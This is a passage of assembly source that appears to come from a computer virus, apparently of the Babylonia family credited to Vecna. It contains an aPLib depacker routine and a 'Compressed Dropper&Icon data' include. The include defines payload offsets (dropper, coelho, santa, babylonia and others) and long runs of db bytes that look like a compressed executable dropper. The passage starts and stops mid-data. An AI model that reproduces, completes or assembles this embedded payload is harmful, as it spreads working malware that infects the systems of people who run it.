03Ch, 056h, 0E4h, 059h, 0CAh, 054h, 0D9h +db 056h, 0A1h, 080h, 075h, 0E6h, 08Ah, 0C1h, 012h +db 0CBh, 0B1h, 035h, 04Bh, 0E5h, 079h, 0A9h, 027h +db 012h, 0A8h, 07Dh, 0D2h, 023h, 0DBh, 000h, 0EEh +db 060h, 000h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[UPDATER.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[UNPACK.INC]ΔΔΔ +;*************************************************************** +;* aPLib v0.22b - the smaller the better :) * +;* WASM & TASM assembler depacker * +;* * +;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved * +;*************************************************************** + +_aP_depack_asm: + push ebp + mov ebp, esp + pushad + push ebp + + mov esi, [ebp + 8] ; C calling convention + mov edi, [ebp + 12] + + cld + mov dl, 80h + +literal: + movsb +nexttag: + call getbit + jnc literal + + xor ecx, ecx + call getbit + jnc codepair + xor eax, eax + call getbit + jnc shortmatch + mov al, 10h +getmorebits: + call getbit + adc al, al + jnc getmorebits + jnz domatch_with_inc + stosb + jmp short nexttag +codepair: + call getgamma_no_ecx + dec ecx + loop normalcodepair + mov eax,ebp + call getgamma + jmp short domatch + +shortmatch: + lodsb + shr eax, 1 + jz donedepacking + adc ecx, 2 + mov ebp, eax + jmp short domatch + +normalcodepair: + xchg eax, ecx + dec eax + shl eax, 8 + lodsb + mov ebp, eax + call getgamma + cmp eax, 32000 + jae domatch_with_2inc + cmp eax, 1280 + jae domatch_with_inc + cmp eax, 7fh + ja domatch + +domatch_with_2inc: + inc ecx + +domatch_with_inc: + inc ecx +domatch: + push esi + mov esi, edi + sub esi, eax + rep movsb + pop esi + jmp short nexttag + +getbit: + add dl, dl + jnz stillbitsleft + mov dl, [esi] + inc esi + adc dl, dl +stillbitsleft: + ret + +getgamma: + xor ecx, ecx +getgamma_no_ecx: + inc ecx +getgammaloop: + call getbit + adc ecx, ecx + call getbit + jc getgammaloop + ret + +donedepacking: + pop ebp + sub edi, [ebp + 12] + mov [ebp - 4], edi ; return unpacked length in eax + + popad + pop ebp + ret 4*2 +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[UNPACK.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[DROPPER.INC]ΔΔΔ +;Compressed Dropper&Icon data +;(C) Vecna + +dropper equ 0 +coelho equ dropper+6144 +hallwen equ coelho+1152 +jesus equ hallwen+1152 +ovo equ jesus+1152 +santa equ ovo+1152 +babylonia equ santa+1152 + +icon equ 12c8h + +db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h +db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h +db 001h, 040h, 0C2h, 015h, 0C6h, 0C0h, 009h, 00Eh +db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0FAh, 0C6h +db 050h, 045h, 008h, 028h, 04Ch, 001h, 0BEh, 00Ah +db 0B0h, 0A2h, 00Ch, 038h, 014h, 0C7h, 0E0h, 001h +db 00Fh, 001h, 00Bh, 0C8h, 005h, 00Ch, 0E0h, 002h +db 0CAh, 01Bh, 012h, 015h, 065h, 010h, 032h, 004h +db 020h, 0BAh, 0DEh, 08Ch, 00Ch, 041h, 004h, 0A6h +db 01Fh, 0F1h, 05Dh, 051h, 04Ah, 00Dh, 02Bh, 002h +db 039h, 039h, 0D3h, 008h, 09Ah, 00Fh, 09Eh, 080h +db 065h, 05Ch, 0A1h, 050h, 031h, 053h, 060h, 009h +db 04Bh, 0D9h, 0BDh, 095h, 0B1h, 05Ch, 01Fh, 0ACh +db 02Eh, 01Ch, 074h, 065h, 078h, 0E2h, 038h, 0D6h +db 001h, 052h, 0CCh, 0D4h, 0C5h, 057h, 043h, 0C0h +db 060h, 02Eh, 072h, 064h, 061h, 072h, 074h, 080h +db 06Ah, 002h, 0AEh, 0FCh, 0A1h, 024h, 006h, 05Ah +db 028h, 055h, 0BBh, 0CDh, 02Eh, 049h, 027h, 0C1h +db 0A1h, 032h, 00Dh, 029h, 030h, 028h, 090h, 00Ah +db 0ACh, 0C0h, 0CEh, 0A0h, 073h, 04Eh, 063h, 015h +db 0ECh, 0CAh, 040h, 024h, 065h, 00Eh, 02Ah, 028h +db 070h, 0ADh, 001h, 0D7h, 061h, 0FCh, 0E8h, 0A0h +db 034h, 042h, 066h, 000h, 0BBh, 0C6h, 0CAh, 00Fh +db 0BAh, 0E0h, 01Fh, 073h, 060h, 004h, 014h, 0B1h +db 0ABh, 064h, 067h, 026h, 08Bh, 00Eh, 02Bh, 001h +db 0E3h, 002h, 0FFh, 0E1h, 0BEh, 031h, 00Bh, 020h +db 0CDh, 0B9h, 044h, 059h, 0F6h, 000h, 016h, 0ACh +db 0E2h, 0FBh, 0F7h, 0D3h, 066h, 089h, 031h, 01Dh +db 024h, 027h, 068h, 059h, 043h, 005h, 004h, 01Ah +db 075h, 0E8h, 04Fh, 00Ah, 093h, 00Ah, 0F9h, 05Dh +db 031h, 0BFh, 028h, 0ABh, 04Ch, 00Ah, 091h, 054h +db 07Fh, 070h, 095h, 0A7h, 01Eh, 090h, 03Ah, 0B2h +db 036h, 011h, 077h, 009h, 047h, 04Bh, 0F4h, 027h +db 027h, 0BCh, 01Fh, 06Ah, 076h, 010h, 0A3h, 074h +db 0DBh, 00Dh, 07Ch, 00Bh, 0C8h, 026h, 0CDh, 0BEh +db 028h, 0F4h, 01Dh, 075h, 00Bh, 087h, 011h, 01Ch +db 088h, 0B0h, 0B2h, 00Fh, 0B5h, 031h, 09Ch, 00Dh +db 091h, 013h, 09Fh, 0D5h, 00Dh, 023h, 0ECh, 0BCh +db 0ABh, 0D7h, 016h, 0BDh, 0B0h, 0D2h, 017h, 055h +db 08Bh, 0ECh, 003h, 083h, 0C4h, 0FCh, 068h, 061h +db 032h, 022h, 09Fh, 053h, 030h, 0E8h, 07Bh, 02Bh +db 089h, 045h, 0FCh, 0FEh, 074h, 011h, 023h, 068h +db 08Dh, 01Ah, 0E8h, 07Dh, 0F5h, 0A2h, 01Fh, 0FFh +db 075h, 041h, 024h, 064h, 08Fh, 01Bh, 085h, 0C0h +db 02Ah, 0E5h, 00Ch, 011h, 04Ch, 014h, 0C9h, 0C3h +db 04Bh, 0CAh, 07Bh, 06Ch, 071h, 014h, 04Eh, 00Dh +db 022h, 001h, 006h, 0CCh, 0FFh, 025h, 054h, 020h +db 085h, 0ECh, 050h, 0A9h, 006h, 04Ch, 00Ch, 048h +db 086h, 043h, 044h, 021h, 018h, 090h, 01Ch, 0DEh +db 0E1h, 090h, 024h, 0C8h, 028h, 064h, 014h, 032h +db 02Ch, 019h, 030h, 00Ch, 034h, 086h, 043h, 038h +db 021h, 03Ch, 090h, 00Ch, 0C8h, 008h, 064h, 004h +db 037h, 008h, 0A9h, 001h, 0D4h, 032h, 054h, 022h +db 008h, 046h, 024h, 036h, 048h, 02Ah, 0A8h, 001h +db 04Ah, 0AAh, 00Ch, 0D2h, 056h, 009h, 064h, 089h +db 070h, 012h, 082h, 024h, 092h, 048h, 0C0h, 091h +db 0D6h, 022h, 0E4h, 044h, 0FCh, 014h, 0A6h, 030h +db 044h, 03Eh, 030h, 089h, 028h, 012h, 01Ch, 024h +db 008h, 0B6h, 012h, 010h, 0F0h, 020h, 0E3h, 04Ah +db 032h, 029h, 044h, 021h, 0C0h, 096h, 014h, 066h +db 01Ch, 081h, 014h, 021h, 052h, 0ACh, 014h, 0C8h +db 060h, 0A8h, 0C2h, 0AFh, 0ACh, 05Ch, 050h, 0A0h +db 09Eh, 072h, 003h, 061h, 077h, 041h, 06Eh, 069h +db 06Dh, 0B0h, 074h, 065h, 064h, 073h, 052h, 076h +db 063h, 070h, 073h, 054h, 0A8h, 014h, 049h, 0F6h +db 06Fh, 067h, 06Eh, 040h, 0FBh, 001h, 047h, 065h +db 074h, 0FDh, 043h, 0C0h, 0BBh, 001h, 078h, 04Dh +db 071h, 073h, 03Eh, 061h, 067h, 084h, 042h, 06Fh +db 078h, 041h, 087h, 06Eh, 0ECh, 054h, 06Ch, 0F7h +db 0F9h, 073h, 0FBh, 00Fh, 035h, 055h, 053h, 045h +db 0A0h, 033h, 032h, 02Eh, 064h, 06Ch, 0E3h, 09Ch +db 05Ch, 075h, 03Eh, 000h, 078h, 069h, 074h, 050h +db 072h, 06Fh, 063h, 0DCh, 05Bh, 014h, 088h, 0B6h +db 07Dh, 00Fh, 06Eh, 064h, 043h, 06Ch, 0DBh, 050h +db 082h, 08Ch, 0ACh, 00Ch, 008h, 072h, 0F8h, 074h +db 0DBh, 00Ah, 076h, 070h, 086h, 054h, 091h, 012h +db 04Eh, 0F6h, 078h, 0A6h, 011h, 050h, 0E1h, 06Ah +db 043h, 038h, 075h, 072h, 0FCh, 06Dh, 06Eh, 0E2h +db 050h, 053h, 08Ah, 06Fh, 0E3h, 079h, 035h, 051h +db 0F9h, 031h, 027h, 023h, 06Eh, 0EEh, 072h, 0E5h +db 062h, 075h, 00Ch, 0A7h, 073h, 02Dh, 044h, 044h +db 001h, 053h, 06Fh, 079h, 09Ch, 0CAh, 06Dh, 02Dh +db 059h, 05Fh, 043h, 016h, 056h, 0F6h, 0CAh, 052h +db 069h, 0BCh, 028h, 064h, 00Eh, 06Fh, 057h, 0CBh +db 0A5h, 077h, 073h, 038h, 052h, 03Eh, 029h, 002h +db 053h, 06Ah, 079h, 073h, 0B7h, 030h, 0CCh, 0E7h +db 070h, 005h, 04Bh, 00Eh, 0D1h, 04Eh, 06Ah, 04Ch +db 0D4h, 051h, 018h, 040h, 046h, 050h, 069h, 078h +db 0EBh, 09Fh, 019h, 053h, 03Ch, 0F6h, 01Bh, 061h +db 079h, 04Dh, 020h, 0ADh, 024h, 091h, 096h, 082h +db 020h, 078h, 06Fh, 03Dh, 079h, 042h, 03Fh, 07Ah +db 06Ch, 0E8h, 01Ch, 099h, 0FCh, 053h, 0AEh, 02Ah +db 015h, 047h, 044h, 049h, 041h, 095h, 001h, 0AEh +db 0BCh, 0B3h, 001h, 090h, 09Eh, 09Bh, 09Ah, 08Dh +db 0DFh, 0BAh, 0CFh, 0A7h, 09Eh, 0C1h, 0FFh, 0BEh +db 0AFh, 0B6h, 0E9h, 091h, 0E1h, 08Bh, 0F9h, 099h +db 0F1h, 08Ah, 0DCh, 09Bh, 0DEh, 0FEh, 0A8h, 06Fh +db 096h, 00Ch, 0C7h, 088h, 08Ch, 0FDh, 04Ch, 0CCh +db 08Dh, 09Ah, 03Fh, 08Eh, 08Ah, 06Ch, 00Ah, 02Ah +db 0F2h, 01Eh, 0F5h, 0ABh, 097h, 073h, 026h, 08Fh +db 03Fh, 05Eh, 098h, 09Eh, 09Eh, 092h, 01Fh, 088h +db 01Ch, 093h, 07Eh, 09Eh, 09Dh, 09Ah, 01Bh, 08Bh +db 088h, 0EEh, 05Ch, 060h, 09Eh, 00Eh, 09Bh, 0D1h +db 0FFh, 0D5h, 0E6h, 0BAh, 072h, 0A7h, 0EDh, 0C2h +db 0BDh, 001h, 0F5h, 0C7h, 002h, 004h, 003h, 0E3h +db 07Fh, 011h, 080h, 00Eh, 035h, 038h, 011h, 068h +db 020h, 001h, 0E1h, 0CAh, 025h, 050h, 02Bh, 018h +db 05Ah, 04Ah, 0A4h, 068h, 018h, 056h, 02Bh, 009h +db 004h, 015h, 0EAh, 018h, 0E4h, 090h, 044h, 0A0h +db 040h, 005h, 0A8h, 008h, 028h, 01Ah, 048h, 065h +db 049h, 008h, 014h, 02Ch, 02Ah, 028h, 09Eh, 00Fh +db 0C5h, 040h, 054h, 036h, 029h, 085h, 080h, 004h +db 03Dh, 04Bh, 04Bh, 001h, 029h, 080h, 06Dh, 03Bh +db 0F8h, 0A4h, 007h, 0A3h, 002h, 036h, 013h, 0C0h +db 002h, 008h, 040h, 0DCh, 0F0h, 02Dh, 0CAh, 0A6h +db 00Eh, 093h, 03Ch, 019h, 099h, 009h, 066h, 012h +db 033h, 02Fh, 0E8h, 0CCh, 039h, 0C4h, 099h, 089h +db 066h, 012h, 033h, 02Eh, 011h, 07Eh, 06Eh, 099h +db 031h, 091h, 078h, 08Bh, 0E4h, 05Fh, 022h, 0FBh +db 017h, 0D8h, 0BAh, 045h, 0E2h, 02Fh, 091h, 07Ch +db 08Bh, 0E4h, 05Eh, 062h, 0FBh, 017h, 088h, 0BEh +db 045h, 0F2h, 02Ah, 014h, 038h, 045h, 0C2h, 02Eh +db 011h, 06Ch, 009h, 0E6h, 0CCh, 0DDh, 0BFh, 036h +db 097h, 008h, 047h, 066h, 022h, 033h, 0E1h, 016h +db 006h, 0DFh, 039h, 0E2h, 0FFh, 016h, 009h, 045h +db 033h, 0C2h, 02Ah, 08Ch, 03Eh, 0C5h, 0F6h, 02Fh +db 0B1h, 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h +db 0C8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh +db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h +db 049h, 08Ah, 0F2h, 0A6h, 002h, 099h, 009h, 044h +db 066h, 033h, 08Bh, 084h, 054h, 094h, 022h, 099h +db 0E9h, 017h, 088h, 0B2h, 008h, 033h, 02Eh, 011h +db 051h, 090h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h +db 05Fh, 022h, 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h +db 02Fh, 0B1h, 07Dh, 08Bh, 0F4h, 05Fh, 062h, 0FBh +db 017h, 0D8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch +db 08Bh, 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0B5h +db 031h, 037h, 08Ah, 0CAh, 002h, 099h, 066h, 009h +db 033h, 017h, 008h, 0A8h, 090h, 0FDh, 017h, 048h +db 0BCh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0F4h +db 05Fh, 022h, 0F9h, 017h, 0C8h, 0BEh, 045h, 0F2h +db 02Fh, 0D1h, 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0F9h +db 017h, 0C8h, 0BFh, 045h, 0F2h, 02Fh, 091h, 07Dh +db 08Bh, 0ECh, 05Fh, 062h, 0FDh, 017h, 0D8h, 0BEh +db 0C5h, 0F2h, 02Fh, 091h, 07Ch, 091h, 0A6h, 094h +db 0CCh, 08Ah, 0DFh, 02Ah, 002h, 06Eh, 033h, 009h +db 011h, 051h, 090h, 0EAh, 02Fh, 0D1h, 078h, 08Bh +db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h +db 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 022h +db 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h +db 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h, 0C8h +db 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh, 0ECh +db 05Fh, 062h, 0FBh, 033h, 032h, 024h, 0CCh, 016h +db 06Fh, 0B4h, 08Eh, 0D4h, 002h, 070h, 0A2h, 014h +db 06Ch, 08Bh, 0E1h, 014h, 0C9h, 063h, 0A6h, 050h +db 027h, 0CEh, 011h, 069h, 028h, 033h, 0EBh, 084h +db 05Ah, 030h, 04Ch, 0AFh, 0E1h, 016h, 030h, 093h +db 073h, 038h, 045h, 0A4h, 030h, 037h, 0CEh, 011h +db 06Ah, 030h, 0E3h, 0CAh, 0FFh, 04Dh, 030h, 059h +db 0BFh, 0C2h, 02Dh, 026h, 059h, 083h, 0C2h, 02Dh +db 028h, 049h, 037h, 0C2h, 02Ah, 082h, 06Ch, 002h +db 0DDh, 0C8h, 009h, 0BBh, 091h, 0AAh, 022h, 088h +db 044h, 077h, 055h, 089h, 044h, 012h, 022h, 095h +db 01Fh, 04Dh, 002h, 0B6h, 01Eh, 002h, 02Eh, 0D5h +db 002h, 004h, 036h, 044h, 002h, 02Eh, 0DCh, 002h +db 010h, 011h, 057h, 02Bh, 096h, 00Ah, 0B4h, 0FBh +db 0E1h, 00Eh, 0A4h, 0A0h, 03Ch, 016h, 080h, 027h +db 0C9h, 00Fh, 095h, 003h, 049h, 091h, 052h, 007h +db 058h, 050h, 0D4h, 00Fh, 04Fh, 02Eh, 06Eh, 0C0h +db 0EAh, 0D6h, 0E9h, 0E8h, 0ADh, 0C0h, 002h, 0A7h +db 082h, 057h, 007h, 07Ch, 07Bh, 0ECh, 0FDh, 0B3h +db 020h, 002h, 0F5h, 087h, 028h, 09Dh, 0D9h, 0F0h +db 03Dh, 0D6h, 0ADh, 0E8h, 0E5h, 016h, 03Eh, 0C7h +db 006h, 0E9h, 0F0h, 0DCh, 036h, 0F1h, 0E9h, 0D7h +db 079h, 006h, 01Ch, 0F4h, 0F5h, 0DAh, 05Ch, 0D4h +db 069h, 020h, 029h, 001h, 09Eh, 0E9h, 0B3h, 077h +db 0F1h, 08Eh, 00Ah, 0E9h, 0BEh, 088h, 06Eh, 03Ch +db 047h, 0D5h, 0F3h, 01Dh, 041h, 0FEh, 0ACh, 03Eh +db 00Ah, 082h, 0E3h, 0BDh, 082h, 0B6h, 0CFh, 04Ah +db 006h, 0F9h, 0B7h, 064h, 0E4h, 04Dh, 082h, 049h +db 040h, 0F7h, 065h, 0F1h, 036h, 0EFh, 019h, 083h +db 04Ah, 0F0h, 0BBh, 00Eh, 06Dh, 0F9h, 084h, 0BFh +db 086h, 099h, 0AEh, 0F3h, 082h, 0F4h, 0D2h, 0B3h +db 020h, 076h, 002h, 0F1h, 049h, 0A9h, 04Bh, 0B2h +db 050h, 08Ah, 0E6h, 0CAh, 03Eh, 0D4h, 020h, 04Ch +db 03Dh, 07Ch, 072h, 05Dh, 0CEh, 00Bh, 051h, 02Ch +db 057h, 00Eh, 0A7h, 0E9h, 0FDh, 0E9h, 08Ch, 0D4h +db 0CFh, 0B3h, 0E4h, 0F3h, 051h, 0D5h, 020h, 0F6h +db 0A0h, 040h, 07Ch, 057h, 051h, 007h, 0A3h, 0DEh +db 098h, 0F6h, 032h, 02Bh, 07Ah, 05Dh, 0E7h, 0B1h +db 021h, 044h, 0E9h, 0AEh, 094h, 03Eh, 0F4h, 020h +db 06Dh, 01Ah, 026h, 0C7h, 072h, 039h, 06Eh, 02Bh +db 03Ah, 072h, 01Dh, 032h, 05Fh, 0A7h, 0F9h, 055h +db 084h, 057h, 0EEh, 02Dh, 042h, 0C2h, 0ADh, 020h +db 0ACh, 0CBh, 028h, 047h, 007h, 01Eh, 071h, 0EBh +db 0CDh, 07Ch, 0CFh, 03Eh, 047h, 0AEh, 069h, 025h +db 011h, 0DAh, 00Fh, 060h, 0E8h, 054h, 041h, 036h +db 0F7h, 004h, 04Ah, 0DEh, 0BEh, 075h, 020h, 00Eh +db 0A9h, 0F1h, 034h, 020h, 06Fh, 04Eh, 046h, 0B2h +db 0DAh, 081h, 0EDh, 0AAh, 0F9h, 001h, 0A3h, 0A3h +db 096h, 0B4h, 048h, 0CFh, 011h, 092h, 04Ah, 063h +db 0ADh, 0A6h, 031h, 080h, 0A6h, 0F5h, 056h, 020h +db 07Ch, 050h, 007h, 0B9h, 032h, 0DDh, 006h, 0F6h +db 055h, 090h, 091h, 02Fh, 036h, 044h, 014h, 0ABh +db 0A3h, 0FDh, 05Bh, 020h, 070h, 073h, 0BBh, 0A2h +db 09Dh, 08Dh, 0C0h, 0A8h, 0E8h, 0EBh, 0F6h, 0F9h +db 043h, 0CFh, 051h, 0FEh, 012h, 0A1h, 00Eh, 058h +db 053h, 060h, 07Ch, 054h, 07Ch, 0BBh, 0F6h, 0E3h +db 047h, 09Fh, 06Dh, 0C4h, 0EEh, 08Dh, 0C4h, 046h +db 0CBh, 050h, 038h, 0EFh, 0F7h, 0A9h, 091h, 0CEh +db 046h, 020h, 0BCh, 037h, 032h, 0EBh, 02Bh, 01Dh +db 031h, 0EAh, 0A6h, 0CCh, 0F7h, 00Eh, 0FDh, 0A9h +db 088h, 0CEh, 033h, 0E2h, 081h, 06Ah, 041h, 024h +db 033h, 036h, 07Fh, 009h, 0D5h, 034h, 08Ah, 062h +db 032h, 032h, 05Dh, 0ADh, 0F0h, 0C4h, 0BEh, 0EEh +db 0EFh, 041h, 099h, 033h, 0FFh, 056h, 002h, 006h +db 06Ah, 0EBh, 004h, 001h, 03Fh, 048h, 067h, 08Eh +db 0ECh, 05Ch, 0F5h, 04Ah, 04Ah, 0A1h, 0F7h, 05Bh +db 09Dh, 02Bh, 0EAh, 0C5h, 092h, 043h, 0CCh, 017h +db 0FFh, 054h, 05Dh, 092h, 01Eh, 06Ah, 0E9h, 002h +db 0AAh, 024h, 0B1h, 0B3h, 0BEh, 0FFh, 051h, 0A4h +db 0AEh, 0B6h, 05Ch, 0F9h, 00Eh, 0DBh, 043h, 08Ah +db 026h, 080h, 0ADh, 065h, 063h, 0F1h, 0E7h, 085h +db 049h, 040h, 051h, 004h, 018h, 0E8h, 095h, 054h +db 01Bh, 0FAh, 0A4h, 0F6h, 0BDh, 0DBh, 002h, 070h +db 032h, 058h, 02Bh, 07Bh, 0D6h, 08Ah, 020h, 09Eh +db 036h, 09Ch, 03Ch, 09Ah, 01Ah, 091h, 0EBh, 028h +db 0B4h, 0DBh, 082h, 0A0h, 06Ch, 070h, 088h, 0AFh +db 0EAh, 0DCh, 0BFh, 037h, 0E8h, 026h, 0A7h, 078h +db 0EDh, 0BFh, 0ECh, 0E6h, 0E6h, 0E8h, 043h, 0DFh +db 081h, 066h, 04Ch, 0B8h, 07Dh, 0D3h, 025h, 027h +db 031h, 0BDh, 0B6h, 0C3h, 0CFh, 0C9h, 00Dh, 08Dh +db 060h, 0D5h, 0EFh, 0BFh, 0E9h, 055h, 0FBh, 0CBh +db 076h, 012h, 0A9h, 08Ah, 082h, 033h, 04Bh, 031h +db 0E9h, 0B3h, 0ECh, 0FFh, 0F3h, 074h, 01Eh, 04Dh +db 007h, 0BEh, 04Dh, 087h, 07Bh, 091h, 07Bh, 03Dh +db 06Dh, 084h, 02Eh, 054h, 060h, 095h, 090h, 01Fh +db 087h, 0DBh, 057h, 0E2h, 0C5h, 036h, 0B3h, 01Eh +db 090h, 065h, 092h, 07Bh, 0DAh, 037h, 0EAh, 063h +db 0E8h, 024h, 041h, 0ADh, 009h, 039h, 0EEh, 087h +db 0F6h, 036h, 019h, 0F3h, 099h, 04Eh, 0BAh, 0CCh +db 0E4h, 072h, 0FEh, 0F0h, 0FDh, 044h, 040h, 0D3h +db 01Fh, 0ECh, 0F3h, 0B3h, 033h, 0CCh, 0D6h, 025h +db 0ADh, 069h, 0BDh, 0D4h, 00Eh, 08Fh, 04Dh, 057h +db 050h, 031h, 0A1h, 0A8h, 01Ah, 040h, 0D9h, 0DAh +db 0A6h, 0E7h, 035h, 013h, 065h, 05Ah, 0FEh, 044h +db 003h, 0A1h, 0D0h, 0EBh, 0CAh, 0ADh, 0D3h, 002h +db 064h, 071h, 07Ch, 0FFh, 0B4h, 0C1h, 0D2h, 0DBh +db 0F9h, 049h, 09Ah, 06Ch, 003h, 08Eh, 0EFh, 0B0h +db 02Dh, 0CBh, 006h, 088h, 047h, 03Ch, 057h, 02Dh +db 027h, 01Ch, 020h, 019h, 0E6h, 0A6h, 09Eh, 0D2h +db 0BFh, 05Bh, 06Eh, 020h, 0B9h, 031h, 05Ch, 021h +db 093h, 0A9h, 008h, 020h, 0FEh, 053h, 0ECh, 001h +db 056h, 020h, 052h, 00Dh, 052h, 01Fh, 0CAh, 007h +db 001h, 0ABh, 020h, 0A9h, 00Eh, 02Bh, 022h, 028h +db 01Eh, 055h, 0F6h, 001h, 059h, 020h, 049h, 00Eh +db 0FDh, 0ECh, 059h, 03Eh, 0A5h, 019h, 08Ah, 004h +db 080h, 0D3h, 0FDh, 01Ah, 001h, 084h, 09Ah, 03Fh +db 08Fh, 01Eh, 0F2h, 0CBh, 027h, 053h, 00Dh, 06Ah +db 042h, 020h, 064h, 0F6h, 035h, 02Bh, 001h, 053h +db 020h, 0A7h, 0FFh, 0F1h, 0F7h, 018h, 0FCh, 0A7h +db 041h, 01Bh, 01Dh, 002h, 07Fh, 041h, 08Dh, 035h +db 083h, 066h, 021h, 03Dh, 0E6h, 016h, 0E3h, 049h +db 0DBh, 04Bh, 01Fh, 06Ah, 040h, 021h, 0EAh, 01Fh +db 0B9h, 06Ah, 082h, 022h, 044h, 0ECh, 09Ah, 040h +db 02Bh, 0F6h, 01Fh, 0A9h, 021h, 0A4h, 040h, 04Ah +db 021h, 05Ah, 091h, 020h, 016h, 019h, 023h, 01Dh +db 09Ah, 002h, 0B4h, 0C3h, 0A4h, 060h, 0ADh, 09Dh +db 0B8h, 048h, 003h, 0A7h, 008h, 0D3h, 085h, 07Dh +db 020h, 0C2h, 01Bh, 084h, 09Dh, 05Ah, 0A9h, 01Ch +db 040h, 053h, 053h, 027h, 004h, 09Fh, 0ABh, 080h +db 0EDh, 043h, 04Dh, 044h, 0A9h, 011h, 080h, 052h +db 045h, 064h, 06Ah, 0C0h, 0F2h, 094h, 0E1h, 09Bh +db 018h, 0BDh, 0D7h, 01Fh, 094h, 082h, 0DAh, 028h +db 065h, 067h, 035h, 018h, 079h, 01Fh, 04Dh, 020h +db 04Dh, 001h, 044h, 020h, 0CAh, 0C0h, 089h, 007h +db 01Ch, 071h, 0AFh, 020h, 0B7h, 0B1h, 035h, 0F6h +db 03Dh, 020h, 0FAh, 03Eh, 0D2h, 023h, 03Dh, 0D0h +db 049h, 0CDh, 0F2h, 0C7h, 004h, 0A9h, 05Dh, 035h +db 004h, 06Dh, 08Dh, 049h, 0AEh, 0E6h, 09Eh, 010h +db 0FDh, 05Fh, 0CDh, 06Bh, 0CDh, 036h, 060h, 0B1h +db 070h, 07Ah, 0C5h, 0D2h, 078h, 0FCh, 00Fh, 0C5h +db 098h, 0F8h, 007h, 05Dh, 004h, 0F1h, 01Eh, 03Fh +db 0F0h, 088h, 008h, 00Fh, 0E0h, 03Eh, 0A0h, 0C0h +db 043h, 003h, 0A5h, 019h, 01Ch, 009h, 00Fh, 046h +db 028h, 061h, 053h, 01Fh, 004h, 0E3h, 0FCh, 020h +db 099h, 0FEh, 06Ch, 07Fh, 009h, 0B7h, 0E0h, 0E8h +db 0F0h, 0A4h, 004h, 078h, 003h, 0D5h, 074h, 004h +db 036h, 0F8h, 04Ch, 0EBh, 0E5h, 03Bh, 06Fh, 027h +db 0F1h, 048h, 01Fh, 0C5h, 042h, 0C5h, 06Ch, 00Eh +db 0C3h, 042h, 013h, 019h, 08Fh, 047h, 048h, 04Ah +db 021h, 09Ch, 065h, 0A3h, 0E7h, 013h, 01Dh, 03Fh +db 046h, 0D6h, 040h, 0E1h, 005h, 027h, 021h, 038h +db 0D3h, 06Eh, 038h, 03Eh, 01Bh, 041h, 06Ah, 08Ah +db 00Ch, 021h, 056h, 0DBh, 03Eh, 034h, 0A5h, 066h +db 080h, 009h, 0D5h, 041h, 063h, 0A6h, 0F3h, 0D4h +db 02Dh, 02Fh, 0A5h, 079h, 041h, 0ABh, 07Fh, 08Eh +db 0CAh, 020h, 0B8h, 0C3h, 0DCh, 023h, 0D3h, 055h +db 0BEh, 020h, 0DAh, 092h, 05Ah, 096h, 020h, 0E9h +db 00Fh, 050h, 005h, 01Eh, 0A2h, 020h, 04Ah, 002h +db 095h, 020h, 091h, 042h, 055h, 0DAh, 049h, 020h +db 0E2h, 015h, 0B6h, 028h, 042h, 0ABh, 020h, 053h +db 0D1h, 020h, 0A5h, 037h, 019h, 08Ah, 020h, 06Dh +db 03Eh, 05Fh, 020h, 06Ah, 080h, 05Fh, 04Eh, 011h +db 0DAh, 040h, 0B4h, 0C1h, 0A6h, 061h, 0A5h, 07Fh +db 06Ah, 041h, 04Ah, 082h, 06Ah, 061h, 03Ch, 057h +db 03Fh, 0D5h, 021h, 0DAh, 007h, 092h, 001h, 0B6h +db 01Fh, 0A4h, 020h, 0A1h, 05Fh, 0C9h, 0C5h, 0CFh +db 0C4h, 06Ch, 042h, 0D5h, 03Ch, 020h, 0B4h, 095h +db 0FFh, 048h, 020h, 0BCh, 035h, 043h, 024h, 03Eh +db 0DFh, 022h, 053h, 0C5h, 074h, 053h, 0BCh, 040h +db 05Ah, 0CBh, 0EFh, 0DAh, 089h, 08Dh, 080h, 041h +db 0ADh, 03Eh, 0CDh, 00Dh, 06Ch, 0C5h, 0CFh, 0B7h +db 03Dh, 02Bh, 0B7h, 043h, 00Eh, 010h, 0FFh, 094h +db 022h, 0ABh, 04Fh, 02Eh, 052h, 0F5h, 032h, 001h +db 0FEh, 0E9h, 00Fh, 0C0h, 0AEh, 01Eh, 030h, 08Bh +db 03Fh, 0FCh, 0B1h, 044h, 00Fh, 072h, 08Ch, 095h +db 004h, 097h, 07Fh, 094h, 074h, 084h, 0B9h, 098h +db 04Ch, 089h, 